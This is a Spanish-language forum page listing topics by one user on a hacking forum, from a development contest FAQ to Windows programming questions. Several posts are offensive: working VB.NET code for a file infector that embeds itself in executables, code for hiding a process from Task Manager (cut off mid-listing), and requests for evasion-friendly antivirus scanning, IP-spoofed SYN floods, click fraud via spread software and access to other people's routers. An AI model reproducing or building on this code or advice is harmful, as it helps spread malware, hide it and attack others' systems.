Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - kub0x

#46



Otro año más arranca la edición del clásico entre los clásicos, Ehn-Dev, donde cada usuario pone a prueba su valía, intelecto y motivación.

En este post encontrarás información útil al respecto, cualquier pregunta o comentario debe de ser posteado aquí.

Para presentar una aplicación y/o revisar las aplicaciones presentadas visitad:

[Ehn-Dev 2014] - Concurso de desarrollo de aplicaciones - Hilo oficial




FAQ - Dudas Generales

1) ¿Se pueden utilizar repositorios para almacenar el proyecto (github, bitbucket etc)?
- Sí aunque puede que ciertos usuarios no esten familiarizados con el repositorio, por lo que tú aplicación no sería revisada.

2) ¿Qué ocurrirá con la aplicación ganadora una vez termine el concurso?
- Se le hará mención en el hilo oficial del concurso así como en la página oficial de elhacker.net. El código fuente de la aplicación será accesible desde dichos medios.

3) ¿Existe algún tipo de requisito/perfil para los usuarios del foro?
- No. Cualquier usuario del foro y de cualquier país puede participar.

4) ¿Puedo modificar el post elaborado al presentar mi aplicación dentro del plazo de validez del concurso?
- Sí, tantas veces como quieras.

5) ¿Puedo modificar el post elaborado al presentar mi aplicación una vez terminado el concurso?
- Sí. Debes de ponerte en contacto con un moderador global o encargado del subforo.

6) ¿Puedo modificar mi aplicación una vez presentada?
- Depende. Si el concurso no ha finalizado entonces se permite la modificación, en caso de haber finalizado el concurso, no está permitida la modificación. Para ello debes de ponerte en contacto directamente con los organizadores del concurso.

7) ¿Puedo presentar una aplicación y después cambiarla?
- Al momento de presentar una aplicación está quedará ligada al concurso por lo que queda prohibida la sustitución de una aplicación por otra.

8) La aplicación de otra persona no funciona como es debido
- La causa más probable es que el desarrolador de dicha aplicación no haya incluido las librerías o paquetes necesarios para su correcto funcionamiento. En tal caso notíficalo cuanto antes.

9) ¿Se puede hacer publicidad de nuestro proyecto cuando esté acabado para así tener más posibilidades de tener más votos?
- Aquí en el foro puedes presentar tu aplicación en el subforo Software o en el subforo del lenguaje en el que este desarrollada (siempre aportando el source). Puedes ponerlo sin ningún problema en otros sitios pero no les fuerces a votar tu app.

10) ¿Es necesario registrar mi aplicación bajo una licencia?
- Lo recomendamos pero no es obligatorio. De esta forma los programadores más noveles no tendrán que preocuparse por las licencias y se centrarán en participar y presentar sus creaciones. Aun así recomendamos registrarlo bajo una licencia GPL.

11) ¿Mi programa tiene que correr bajo linux tambien por que solo corre en windows nomas?
- No es obligatorio que sea multiplatforma pero ayuda a ganar votos. Puede correr solo en Windows como puede correr solo en Linux.

12) ¿Se pueden poner enlaces tipo ultrashare o mediafire?
- Si, se pueden poner de esa forma.

13) ¿Exactamente cuándo termina el plazo de entrega?
- La presentación de aplicaciones termina exactamente el día 30 de Octubre de 2014 a las 23:59 tiempo España (península). Cualquier aplicación presentada después de esa hora limite sera descartada.

14) ¿Cuando conoceremos al ganador?
- Una vez finalizado el concurso se concederá un periodo de dos semanas (14 días) en los que los usuarios del foro podrán revisar y votar las aplicaciones presentadas.

15) ¿Cuanta información debo aportar sobre mi aplicación?
- La máxima que puedas, desde aquí os recomendamos crear un archivo README con la máxima información de uso posible, cabe destacar que esto nos ayudará en la etapa de revisión facilitándonos nuestro trabajo así que lo tendremos en cuenta.




Ediciones anteriores del concurso:

[Ehn-Dev 2013] - Concurso de desarrollo de aplicaciones - Hilo oficial
#47
Seguridad / Usuario/Sesión extraña en mi PC
16 Septiembre 2014, 23:45 PM
Al ejecutar el comando qwinsta en el CMD podemos ver las sesiones activas en nuestra máquina, para mi sorpresa hay una sesión que no me suena de nada, el único post que sale en google es este http://www.experts-exchange.com/OS/Microsoft_Operating_Systems/Q_28484208.html

Es la sesión "7a78855482a04..." fijaos en el ID (2 ^ 16) - 16bit wtf



Dicen que ocurre al tener Visual Studio instalado y con UAC activado en Windows 8.1, ¿alguien más lo podría confirmar?

Saludos!
#48
Programación C/C++ / SeDebugPrivilege y OpenProcess
16 Septiembre 2014, 23:08 PM
Muy buenas,

llevo un tiempo investigando sobre la suplantación de tokens, elevación de privilegios y la injección en procesos de sesiones y usuarios distintos.

El tema es que tengo que ejecutar mi aplicación en modo administrador para obtener el handle a un proceso ejecutado por un usuario ajeno (SYSTEM - winlogon.exe), ya que los privilegios del usuario normal no permiten la depuración de elementos del sistema.

Al ejecutarse, mi aplicación es capaz de obtener el handle, pero el privilegio SeDebugPrivilege está desactivado, cosa que podemos comprobar al iniciar cmd en modo admin si escribimos el comando "whoami /all".

He leído en muchos foros de programación que SeDebugPrivilege debe de estar activo para poder interactuar con los elementos descritos al principio del post, pero no entiendo porque me deja acceder a un handle de un proceso de otro usuario cuando en el cmd me dice que el privilegio esta desactivado.

La pregunta es:

¿Si corres una aplicación en modo administrador es necesario activar el privilegio SeDebugPrivilege para obtener un handle de un proceso lanzado por otro usuario?

Gracias y saludos!
#49
Muy buenas,

llevo mucho tiempo sumergiendome en el mundo de la escalación de privilegios. He publicado hace tiempo por el foro varias formas caseras de escalación de privilegios sin embargo hoy vengo a preguntar una cuestión en concreto.

Muchos habreis llegado a la conclusion de que para esquivar (bypass) UAC es necesario tocar el registro (HKLM), crear tareas que ejecuten nuestro software bajo SYSTEM o admin o bien tirar de ingeniería social (para que el user ejecute el software en modo admin.. propiedad asInvoker en los manifest).

Todos sabemos que el Administrador de tareas permite mostrar todos los procesos del sistema, por lo que necesita de los máximos privilegios del usuario en cuestión.

La pregunta es la siguiente: ¿Qué ocurre cuando pulsamos dicho botón?

Este proceso no alerta al usuario de que la aplicación necesita de privilegios. ¿Cómo lo hace?

Un saludo!
#51
Buenas tardes foreros,

ando con un proyecto entre manos en C++ y me tocó implementar la parte del stack trace tanto en el tratamiento de excepciones como en las llamadas de las funciones clave.

La verdad que ésto me impresiono bastante y me gustaría plantear lo mismo en ASM.

En ASM tenemos que la pila se divide en stack frames (marcos de pila). El registro EBP apuntará al marco de pila actual, pero claro, cada frame tiene propio tamaño, por lo que me imposibilita el poder 'caminar' por la pila en busca de las direcciones de las funciones o métodos contenidos en la pila.

Para poder calcular el tamaño de una frame podriamos restar EBP y ESP, ya que a ESP le quitamos el tamaño de los parámetros y variables locales reservadas por la función.

¿Podría alguien encaminarme? En caso de conseguirlo entonces publicaría el code.

Un saludo!
#52
Buenas tardes a todos,

como la gran mayoría sabreis existen ciertos servicios online que nos permiten analizar las firmas de un archivo mediante varios motores de Anti Virus conocidos. Tenemos VirusTotal, Virscan, noVirusThanks ... Pero si algo tienen en común éstos es que si detectan cualquier tipo de Malware, lo almacenan y lo comparten con las empresas que desarrollan los AV.

Para un desarrollador de Malware esto es negativo y podrían darse fugas haciendo detectable el archivo malicioso. Por eso me gustaría saber si conoceis de alguna Web que analice archivos online y que sea 100% transparente, incluso en caso de detección de Malware. Es decir, que no comparta ningun tipo de dato sobre el archivo con las diversas compañías desarrolladoras de AVs.

Gracias por leer,

Saludos!
#53
Buenas,

estoy desarrollando una aplicación que realiza múltiples consultas de parámetros en Google para posteriormente tratar esos datos y clasificarlos.

El problema se presenta al ver que Google clasifica mi tráfico como automático proveniente de un Bot. Se me ocurren varías técnicas para evitar que filtren mis resultados y pidan una confirmación (Captcha) para seguir utilizando el servicio:

• Aumentar el tiempo de espera entre petición. (Funciona ;) )
• Usar una lista de proxys, donde se utilizará uno al azar de la lista en cada petición. (Not Tested)
• ¿Hacerme pasar por un GoogleBot? (Spoofing) :D
• Y la MEJOR de todas: emplear BING (y/o otros buscadores).

Me gustaría que alguien arrojara algo de luz al asunto. No veo viable utilizar OCR para resolver el Captcha. ¿Se podría lograr bypassearlo mediante el uso de cookies?

Cualquier tipo de info es agradecida.

Saludos!
#54
Buenas noches a todos,

el propósito de este post es informar sobre una vulnerabilidad hallada en la actualización de firmware de los routers Cisco EPC3825 suministrados por la compañía telefónica vasca Euskaltel. No me hago responsable del uso y/o aprovechamiento de la vulnerabilidad que va a ser explicada.

Esta mañana, como cualquier otra, me encontraba en la universidad trabajando en un proyecto que tengo entre manos. Al tomarme un rato libre me he dispuesto a escanear los servicios que corren detrás de mi router a través de la red de la universidad. Como uno de mis ordenadores está asociado a un servicio de redireccionamiento DNS gratuito he conseguido la IP pública de mi red, es decir, la IP con la que realizas consultas sobre los diferentes servicios que ofrece Internet. Al finalizar el escaneo he comprobado que el puerto 8080 (generalmente empleado como proxy para acceder remotamente a la configuración del router) se encontraba abierto. Para mí asombro dicha opción se encontraba deshabilitada en el panel de administracción remota de éste por lo que empecé a pensar que podría ser un fallo de configuración del router o de la ISP vasca.

Al de un rato, en casa, me comuniqué con el servicio de averías de Euskaltel notificándoles mi problema y abriendo un parte de incidencia, ya que ellos no supieron explicarme lo que realmente ocurría con dicho servicio, incluso llegaron a decirme que había instalado Software adicional que podría causar que dicho puerto estuviera abierto o que había configurado erróneamente el dispositivo. Como soy bastante paranoico con ciertas cosas, y más cuando tienes una puerta trasera que actualmente no está parcheada me he enfocado en comprobar si con otros dispositivos ocurre lo mismo.

Como prueba de concepto, he sido capaz de acceder al panel administrativo de otros dispositivos Cisco EPC3825 a través de la ya mencionada "puerta trasera", por lo que se confirma la existencia de dicha vulnerabilidad en este modelo de enrutadores.

Cabe decir que la ISP vasca instala las pertinentes actualizaciones cuando lo ven necesario, sin embargo, como me he podido percatar, no tenían nociones de que este problema de inseguridad estaba presente en dicha versión del Firmware. Lo más seguro es que no tarden mucho tiempo en parchearla, pero por ahora sólo nos podemos defender aplicando ciertas medidas de seguridad, aquí os dejo algunas recomendaciones a los usuarios con el mismo problema:

Cambiar las credenciales predeterminadas empleadas en la autentificación del panel administrativo del dispositivo, así como la filtración del puerto empleado por el Proxy para que bloquee las posible conexiones sobre dicho servicio.

Sed buenos ;)

Saludos!
#55
Ingeniería Inversa / Seguridad de un programa
3 Noviembre 2012, 21:13 PM
Buenas noches a todos!

Como no sé si esto va en la sección de Ing. Inversa, .NET o seguridad pues me he decantado por la primera.

Estoy preocupado porque programo en .NET y todos sabemos que en nuestros programas, cuando eramos novatillos pues incluiamos información confidencial que no quisieramos que personas ajenas obtuvieran. He probado algun decompilador de .NET (Reflector, DotNet Resolver...) y he podido decompilar todo mi proyecto, ya sean .exe o .dll, ASUSTA! Vengo con los deberes hechos, pues leí algo sobre seguridad aplicada a programas en el blog de Karmany (Packers, métodos alternativos para generación de información sensible..) y lo estudiaré más a fondo cuando tenga que lanzar la aplicación.

Hay plugins para Visual Studio que ofuscan el Source del programa, pero recientemente he encontrado Desofuscadores para distintas versiones conocidas de ofuscadores, por lo que si ofuscase el programa, el código ofuscado lo podría desofuscar y obtendría el original. Es como si cada medida de seguridad tuviera una contramedida :P

Ya pensé en incluir la información confidencial en .dll, ensamblados cargados en la ejecucción del programa, archivos cifrados, pero ¿Cómo sé que un cracker no pueda descifrar el source para luego acceder a dicha info? ¿Qué métodos puedo emplear para aumentar la seguridad de mis programas?

Gracias por vuestra atención,

Saludos!
#56
Redes / Sobre IP Spoofing y ataques varios.
21 Octubre 2012, 23:09 PM
Buenas noches!

Estoy desarrollando cierta aplicación para testear el spoofeo de IPs hacia un servidor externo, que no esta en mi LAN (spoofear en LAN es bien fácil y hay metodos mejores :P). Aqui ya me entran dudas, pues NAT se encargaría de redireccionar el paquete desde la LAN a Internet traduciendo la IP spoofeada en la pública asignada por mi ISP, entonces el paquete llegaría al destino apuntando a mi IP. También si introduzco una IP spoofeada dentro de un paquete TCP y lo envio al servidor, éste no podría enviar el SYN/ACK de vuelta a mi red, sino que enviaria dicha Flag a la red donde se encuentre la IP spoofeada, cierto ¿verdad?.

Si lo que quiero ejecutar es un SYN_FLOOD no tendria porque preocuparme que la respuesta del servidor apuntara a la IP spoofeada, pues solo buscaria el consumir recursos de la máquina victima. Eso si.. si NAT se encarga de cambiar dicha IP falsa por mi IP, ¿cómo aseguro que el paquete TCP sale de mi red con la IP de origen Spoofeada?

¿Habría alguna diferencia en utilizar UDP como protocolo de envio de paquetes? ¿Es más efectivo que un ataque DoS o DDoS? ¿Se diferenciarían en que DoS/DDos obtendría respuesta del servidor y el SYN_Flood simplemente dejaria a la maquina a la espera de establecer la conexion con el cliente spoofeado? ¿Cuál sería mas efectivo?

A todo esto: ¿Cómo podría auditar y verificar si los paquetes enviados se enviaron de forma correcta (con la IP spoofeada)?

Simplemente busco aprender sobre el tema ya que lo encuentro muy interesante, no me mueve ninguna intencion maliciosa.

Gracias por vuestra atención.
#57
Dudas Generales / ¿Cómo lo veis?
17 Septiembre 2012, 01:02 AM
Buenas foreros!

No sé si suena a estupidez pero, seguramente alguno de vosotros se haya preguntado si sería viable abrir una cuenta en un servicio por el que te paguen dinero acortando los enlaces y ocultandolos bajo los de dicho servicio, estilo "http://ad.fly.com/...." o "http://googl.com/....".

En ése ámbito, para mí no resultaría viable. Ahora sí, imaginad que disponeis de cierto Software que visita X links de tu cuenta de dicho servicio X veces al día. Y que además dicha característica va unida a cierto Software expandido por la red.

Pregunto, ¿Ahora sería viable abrir dicha cuenta? ¿Y si al visitar cada link X veces cambiase a un servidor proxy aleatorio?

Saludos y espero vuestras opiniones!
#58
Buenas al resto de foreros de ehn,

hace días que llevo pensando en programar una pequeña app para cerrar las ventanas que se abren automaticamente en el navegador (Pop Up). Utilizo Nightly (Build de Firefox) y al abrir 3 instancias de firefox me doy cuenta de que sólo existe un proceso que las maneja (Firefox.exe).

Es decir, un proceso para tres ventanas. Eso me hace replantear el código y lo deja inservible. Ahora sí, ¿Como podría detectar todas las ventanas de ese proceso?. Podría obtener el Handle de la ventana que quiero que nunca se cierre al abrir por primera vez el proceso.. ¿pero y el resto de ventanas?

Posteriormente, para poder cerrarlas ¿bastaría con enviar un mensaje mediante SendMessage a dichas ventana?

Saludos.
#59
Buenas!

que tal vamos?! Hace dias estuve buscando por internet cierta documentación sobre Nmap e investigando hallé esta web-> http://nmap.org/movies.html
Citan películas donde podemos ver el manejo de la herramienta Nmap.

Matrix, Jungla de cristal 4, El mito Bourne, La chica del dragón tatuado y una infinidad de películas están en la lista.

Echadle un vistazo, no tenía ni idea que este tipo de herramientas eran utilizadas tambien en el cine xD Os dejo unas fotos para que veais de que va la cosa:





Saludos.
#60
Qué tal andamos?

Bueno, hace días que llevo programando una cosilla (bla bla) y necesitaba que mi código se ejecutara en otros procesos, para ello agrego mi código al principio de un nuevo ejecutable y después el del archivo a infectar. Hasta ahí bien, pero ¿qué sucede si la víctima abre el archivo infectado? ¿Estará corrupto? Nada de eso, se ejecutará mi código. El original seguirá en el ejecutable infectado pero no correrá.

Como al inicio de la aplicación comprobamos si existe la firma en el archivo infectado miramos si es así entonces abrimos el archivo infectado y llenamos un Buffer con los datos de éste. Después, como sabemos la longitud de los datos de nuestro programa, en función de ésta seremos capaces de extraer los bytes de la aplicación original.

Funciona a la perfección. Me gustaría que me dierais vuestra opinión, no estaría de más mejorar el código.

Código (VB.NET) [Seleccionar]

Private Sub Infectar_EXE(ByVal Rutas As Object())
       Try
           Dim Ruta_Archivo As String = CType(Rutas(0), String) 'declaramos las rutas..
           Dim RutaHost As String = CType(Rutas(1), String)
           Dim fs As New FileStream(Ruta_Archivo, FileMode.Open, FileAccess.Read) 'abrimos nuestra copia
           Dim size As Long = fs.Length 'obtenemos los datos de nuestra copia
           Dim Buffer(size) As Byte 'declaramos un Buffer que tendrá como tamaño los datos de nuestra copia
           Dim firma As Byte() = Encoding.Default.GetBytes("Firma") 'Preparamos la firma para escribirla/buscarla en el Buffer
           fs.Read(Buffer, 0, Buffer.Length) 'escribimos en el Buffer actual los datos de la copia
           fs.Close()
           Kill(Ruta_Archivo) 'eliminamos la copia
           fs = New FileStream(RutaHost, FileMode.Open, FileAccess.Read) 'apuntamos al archivo que se generará..
           size += (fs.Length) 'obtenemos el nuevo tamaño para el Buffer (longitud de los datos de nuestro progama + long. datos del programa Host)
           Dim offset As Long = size - fs.Length 'obtenemos los datos de la copia (Repetido pero necesario)
           If IndexOf(Buffer, firma) = -1 Then 'Si la Firma NO ESTÁ en la copia...
               Array.Resize(Buffer, size) 'Modificamos el tamaño del Buffer en función de la variable Size
               fs.Read(Buffer, offset, fs.Length) 'Llenamos el Buffer
               fs.Close()
               Kill(RutaHost) 'Eliminamos el archivo
               fs = New FileStream(RutaHost, FileMode.Create, FileAccess.Write)
               fs.Write(Buffer, 0, Buffer.Length) 'Guardamos un nuevo archivo que será el nuestro Infectado
               fs.Write(firma, 0, firma.Length) 'Le añadimos la Firma al final
               fs.Close()
           Else
               'Como hemos encontrado la Firma entonces..
               fs.Close()
               Ejecutar_Hostage(RutaHost, Buffer, 17920, Buffer.Length - 17920) 'Generamos el archivo Original y lo ejecutamos
           End If
       Catch ex As Exception
           MsgBox(ex.Message)
       End Try
   End Sub
   Private Sub Ejecutar_Hostage(ByVal RutaHost As String, ByVal Buffer As Byte(), ByVal offset As Long, ByVal Count As Int32)
       Dim copia_temporal As New FileStream("C:\temporal.exe", FileMode.Create, FileAccess.Write)
       copia_temporal.Write(Buffer, offset, Count)
       copia_temporal.Close()
       If Not Process.GetCurrentProcess.MainModule.FileName.Contains("Infectar Ejecutables") Then 'Si el nombre del Archivo que se ha ejecutado
           'es distinto del que usamos para la infección
           Process.Start("C:\temporal.exe")
       End If
   End Sub
   Private Sub Form1_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load
       FileSystem.FileCopy(Process.GetCurrentProcess.MainModule.FileName, "C:\copia.exe") 'nos copiamos en C:\
       Dim Obj() As Object = {"C:\copia.exe", "C:\archivo.exe"} 'inicio un array que contendra las rutas de los archivos
       Dim ThreadInfectar As New Thread(AddressOf Infectar_EXE)
       ThreadInfectar.Start(Obj) 'iniciamos un nuevo hilo pasandole las rutas
   End Sub
   Private Function IndexOf(BuscarEnArray As Byte(), EncotrarBytes As Byte()) As Integer
       'buscamos en el Buffer la Firma
       Dim encoding__1 As Encoding = Encoding.GetEncoding(1252)
       Dim buscar As String = encoding__1.GetString(BuscarEnArray, 0, BuscarEnArray.Length)
       Dim encontrar As String = encoding__1.GetString(EncotrarBytes, 0, EncotrarBytes.Length)
       Dim result As Integer = buscar.IndexOf(encontrar, StringComparison.Ordinal)
       Return result
   End Function


Poco tiene esto de Spreader, pero eso ya me lo guardo para mí jejeje.

Saludos.
#61
Buenas tardes a todos,

estoy desarrollando una aplicación que necesita privilegios de administrador para ejecutarse. El problema no es ése, ya que se pide al usuario que se eleven los privilegios. No sé si estaré en lo cierto ya que hice una prueba poniendo mi aplicación en la clave CurrentVersion/Run (no voy a citar la ruta del registro entera) y no me pidió privilegios ni limosna ni nada, ni siquiera se inició, cosa que me está tocando los....xD

¿Qué debo de hacer?

Saludos.
#62
Buenas tardes a todos,

bueno hoy tuve un rato mañanero libre y me puse a investigar por cuenta propia las clases del Namespace Networkinformation. Básicamente me recuerda al mítico comando ipconfig, que si te esmeras programando es como teclear ipconfig /all para listar todas las propiedades de los adaptadores de red.

Bueno lo que hace este sencillo ejemplo es listar todas las interfaces de Red, despues se pide ingresar un número que concuerde con una de las interfaces del menu y acto seguido se recogen las propiedades en un método y se muestran. Cabe decir que si no estás conectado a la red pues poca información obtendrás de la interfaz. Os dejo una screen de como queda.



Source:

Código (VB.NET) [Seleccionar]

Imports System.Net.NetworkInformation
Imports System.Text
Imports System.Net
Module Module1
    Private Sub Enumerar_Interfaces()
        Dim InterfazRed() As NetworkInterface = NetworkInterface.GetAllNetworkInterfaces
        For i As Int32 = 0 To InterfazRed.Length - 1
            If InterfazRed(i).Name.Contains("Loopback") Then
            Else
                Console.WriteLine(i & ")" & InterfazRed(i).Name)
            End If
        Next
        Console.WriteLine()
        Obtener_Propiedades(InterfazRed)
    End Sub
    Private Sub Obtener_Propiedades(ByVal InterfazRed() As NetworkInterface)
        Dim k As Int32 = 0
        Console.WriteLine("Introduce un indice para visualizar las propiedades del adaptador deseado")
        k = Int32.Parse(Console.ReadLine())
        If k >= 0 And k <= 9 Then
            Console.Clear()
            Console.WriteLine("Nombre de la Interfaz: " & InterfazRed(k).Name)
            Console.WriteLine("{0} " & InterfazRed(k).Speed / 1000000 & " {1}", "Velocidad Adaptador:", _
                              "Mbps")
            Console.WriteLine("Descripción: " & InterfazRed(k).Description)
            Console.WriteLine("GUID: " & InterfazRed(k).Id)
            Dim operativo As OperationalStatus = InterfazRed(k).OperationalStatus
            Select Case operativo
                Case 1
                    Console.WriteLine("Estado: Conectado")
                    Dim PropiedadesIp As IPInterfaceProperties = InterfazRed(k).GetIPProperties
                    With PropiedadesIp
                        For Each unicast As UnicastIPAddressInformation In .UnicastAddresses
                            If unicast.Address.AddressFamily = Sockets.AddressFamily.InterNetwork Then
                                Console.WriteLine("Dirección IPv4: " & unicast.Address.ToString)
                                Console.WriteLine("Máscara de Subred: " & unicast.IPv4Mask.ToString)
                            Else
                                Console.WriteLine("Direccion IPv6: " & unicast.Address.ToString)
                            End If
                        Next
                        Console.Write("Servidor DHCP: ")
                        For Each dhcp As IPAddress In .DhcpServerAddresses
                            Console.WriteLine(dhcp)
                        Next
                        Console.WriteLine("Servidores DNS:")
                        For Each servidor As IPAddress In .DnsAddresses
                            Console.WriteLine(servidor)
                        Next
                        Console.Write("Puerta de Enlace: ")
                        For Each gateway As GatewayIPAddressInformation In .GatewayAddresses
                            Console.WriteLine(gateway.Address)
                        Next
                        Console.Write("Direccion Multicast: ")
                        For Each multicast As MulticastIPAddressInformation In .MulticastAddresses
                            Console.WriteLine(multicast.Address)
                        Next
                    End With
                Case 2
                    Console.WriteLine("Estado: Desconectado")
            End Select
            Dim MACByte As Byte() = InterfazRed(k).GetPhysicalAddress.GetAddressBytes
            Dim MAC As String = Nothing
            For Each byteMac As Byte In MACByte
                MAC += Hex((byteMac)) & ":"
            Next
            Console.WriteLine("MAC: " & MAC.Remove(MAC.Length - 1, 1) & vbNewLine)
        Else
            Console.Clear()
            Main()
        End If
    End Sub
    Sub Main()
        Try
            Enumerar_Interfaces()
        Catch ex As Exception
        End Try
        Console.Read()
    End Sub
End Module


Saludos.
#63
Que pasa .Net(eros) ...

como sabía que había muy pocos ejemplos de ésto rondando por la red y en el foro preguntaron por ello pues a la cama no me iba a ir sin aprender algo nuevo, y bueno, como estoy desarrollando un proyecto que tengo entre manos pues necesitaba tirar de ciertas APIs que al implementarlas me brindaran la oportunidad de ocultar un proceso en el Administrador de Tareas.

El funcionamiento es muy básico, si el Task Manager está abierto se enumeran todas las ventanas hijas y clases, una vez obtenido el handle del Task Manager y el respectivo handle de las ventanas contenedoras de las pestañas (Aplicaciones, Procesos, Servicios...) se procede a identificar el proceso actual con el proceso listado en el Listview del Admin de Tareas. Cuando se identifica el proceso la aplicación sustrae la línea donde se encuentra el nombre de nuestro proceso (WindowsApp1.exe).

Funciona bajo Windows XP y 7. El código anterior que programé solo lo hacia bajo Win XP , buenas noticias :D. Lo unico que el Task Manager se actualiza en muy poco tiempo y en ocasiones se percibe un comportamiento estraño, pero la finalidad es conseguida.

Disfrutadlo!

Source:

Código (VB.NET) [Seleccionar]

Imports System
Imports Microsoft.Win32.SafeHandles
Imports System.Runtime.InteropServices
Imports System.Text
Imports System.ComponentModel
Class form1
   WithEvents time1 As New Timer
   Private Sub form1_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load
       Running = True
   End Sub
End Class
#Region " TMListViewDelete "

Module TMListViewDelete
   Dim t As New Timer
#Region " Declaraciones/Funciones/Constantes "

   Public Const LVM_FIRST = &H1000
   Public Const LVM_DELETECOLUMN = LVM_FIRST + 28

   Public Const LVM_GETITEMCOUNT = (LVM_FIRST + 4)
   Public Const LVM_SORTITEMS = (LVM_FIRST + 48)
   Public Const LVM_DELETEITEM = (LVM_FIRST + 8)
   Public Const LVM_GETNEXTITEM = (LVM_FIRST + 12)
   Public Const LVM_GETITEM = (LVM_FIRST + 75)

   Public Delegate Function EnumDelegate(ByVal lngHwnd As IntPtr, ByVal lngLParam As Integer) As Integer
   Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal Hwnd As IntPtr, ByVal wMsg As Integer, ByVal wParam As Integer, ByVal lParam As Integer) As Integer
   Declare Function FindWindow Lib "user32.dll" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Integer
   Public Declare Function EnumChildWindows Lib "user32.dll" (ByVal hWndParent As IntPtr, ByVal lpEnumFunc As EnumDelegate, ByVal lParam As Integer) As Integer
   <DllImport("user32.dll", CharSet:=CharSet.Auto)> _
   Private Sub GetClassName(ByVal hWnd As System.IntPtr, _
  ByVal lpClassName As System.Text.StringBuilder, ByVal nMaxCount As Integer)
   End Sub
   Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hWnd As IntPtr, ByVal lpString As System.Text.StringBuilder, ByVal cch As Integer) As Integer
   Public Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hWnd As IntPtr) As Integer
   Dim hwnd As IntPtr
   Dim controls As String
   Public MyProc As String

   Dim ProcLV As IntPtr = IntPtr.Zero
#End Region

#Region " Evento Tick Timer"
   Public Sub t_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs)
       If ProcLV = IntPtr.Zero Then
           hwnd = FindWindow(vbNullString, "Administrador de tareas de Windows")
           If hwnd <> 0 Then
               EnumChildWindows(hwnd, New EnumDelegate(AddressOf TMListViewDelete.EnumChildWindows), 0)
           End If
       Else
           GetListView(hwnd, ProcLV)
       End If
   End Sub
#End Region

#Region " Propiedad e inicialización"
   Public Property Running() As Boolean
       Get
           If t.Enabled = True Then
               Return True
           Else
               Return False
           End If
       End Get
       Set(ByVal value As Boolean)
           If value = True Then
               MyProc = Process.GetCurrentProcess.ProcessName 'Esto controla el archivo a ocultar. Cambiad "Processname" por el nombre del archivo a ocultar
               If Not t.Interval = 20 Then
                   With t
                       AddHandler t.Tick, AddressOf t_Tick
                       .Interval = 20
                       .Enabled = True
                       .Start()
                   End With
               Else
                   t.Enabled = True
                   t.Start()
               End If
           Else
               t.Enabled = False
               t.Stop()
               ProcLV = IntPtr.Zero
           End If
       End Set
   End Property

#End Region

#Region " Obteniendo ListViews"
   Public Function EnumChildWindows(ByVal lngHwnd As IntPtr, ByVal lngLParam As Integer) As Integer
       Dim strClassName As String = ObtenerClase(lngHwnd)
       Dim strText As String = ObtenerTextoVentana(lngHwnd)
       If InStr(strClassName, "SysListView32") Then
           GetListView(hwnd, lngHwnd)
           If InStr(strText, "Procesos") Then
               ProcLV = lngHwnd
           End If
       End If
       Dim Classes As String = lngHwnd.ToString & ", " & strClassName & ", " & strText
       Return 1
   End Function
   Public Function ObtenerClase(ByVal handle As IntPtr) As String
       Dim strClassName As New System.Text.StringBuilder()
       strClassName.Length = 255
       GetClassName(handle, strClassName, strClassName.Length)
       Return strClassName.ToString
   End Function
   Public Function ObtenerTextoVentana(ByVal handle As IntPtr) As String
       Dim titleText As New System.Text.StringBuilder()
       titleText.Length = GetWindowTextLength(handle) + 1
       GetWindowText(handle, titleText, titleText.Length)
       Return titleText.ToString
   End Function

#End Region
End Module

#End Region
#Region " Obtener Objetos "
Module GetItems
   Dim listViewHandle As IntPtr
#Region " Funciones "
   <DllImport(kernel32, SetLastError:=True)> _
   Public Function OpenProcess( _
       ByVal dwDesiredAccess As UInteger, _
       ByVal bInheritHandle As Boolean, _
       ByVal dwProcessId As Integer) As SafeProcessHandle
   End Function


#Region " ReadProcessMemory "
   <DllImport(kernel32, EntryPoint:="ReadProcessMemory", SetLastError:=True, CharSet:=CharSet.Unicode)> _
   Public Function ReadProcessMemoryW( _
       ByVal hProcess As SafeProcessHandle, _
       ByVal lpBaseAddress As IntPtr, _
       ByVal lpBuffer As StringBuilder, _
       ByVal nSize As Integer, _
       ByRef bytesRead As Integer) As <MarshalAs(UnmanagedType.Bool)> Boolean
   End Function

   <DllImport(kernel32, SetLastError:=True, CharSet:=CharSet.Ansi)> _
   Public Function ReadProcessMemory( _
       ByVal hProcess As SafeProcessHandle, _
       ByVal lpBaseAddress As IntPtr, _
       ByVal lpBuffer As StringBuilder, _
       ByVal nSize As Integer, _
       ByRef bytesRead As Integer) As <MarshalAs(UnmanagedType.Bool)> Boolean
   End Function

   <DllImport(kernel32, SetLastError:=True)> _
   Public Function ReadProcessMemory( _
       ByVal hProcess As SafeProcessHandle, _
       ByVal lpBaseAddress As IntPtr, _
       ByRef lpBuffer As LV_ITEM, _
       ByVal nSize As Integer, _
       ByRef bytesRead As Integer) As <MarshalAs(UnmanagedType.Bool)> Boolean
   End Function

   <DllImport(kernel32, SetLastError:=True)> _
   Public Function ReadProcessMemory( _
       ByVal hProcess As SafeProcessHandle, _
       ByVal lpBaseAddress As IntPtr, _
       ByRef lpBuffer As HDITEM, _
       ByVal nSize As Integer, _
       ByRef bytesRead As Integer) As <MarshalAs(UnmanagedType.Bool)> Boolean
   End Function

   <DllImport(kernel32, SetLastError:=True)> _
   Public Function ReadProcessMemory( _
       ByVal hProcess As SafeProcessHandle, _
       ByVal lpBaseAddress As IntPtr, _
       ByVal lpBuffer As IntPtr, _
       ByVal nSize As Integer, _
       ByRef bytesRead As Integer) As <MarshalAs(UnmanagedType.Bool)> Boolean
   End Function
#End Region

#Region " SendMessage "
   <DllImport(user32, SetLastError:=True)> _
   Public Function SendMessage( _
       ByVal hWnd As IntPtr, _
       ByVal message As UInteger, _
       ByVal wParam As IntPtr, _
       ByVal lParam As IntPtr) As Integer
   End Function

   ' Has a different return type, so can't overload.
   <DllImport(user32, SetLastError:=True, EntryPoint:="SendMessageA")> _
   Public Function GetHeaderSendMessage( _
       ByVal hWnd As IntPtr, _
       ByVal message As UInteger, _
       ByVal wParam As IntPtr, _
       ByVal lParam As IntPtr) As IntPtr
   End Function

   <DllImport(user32, SetLastError:=True)> _
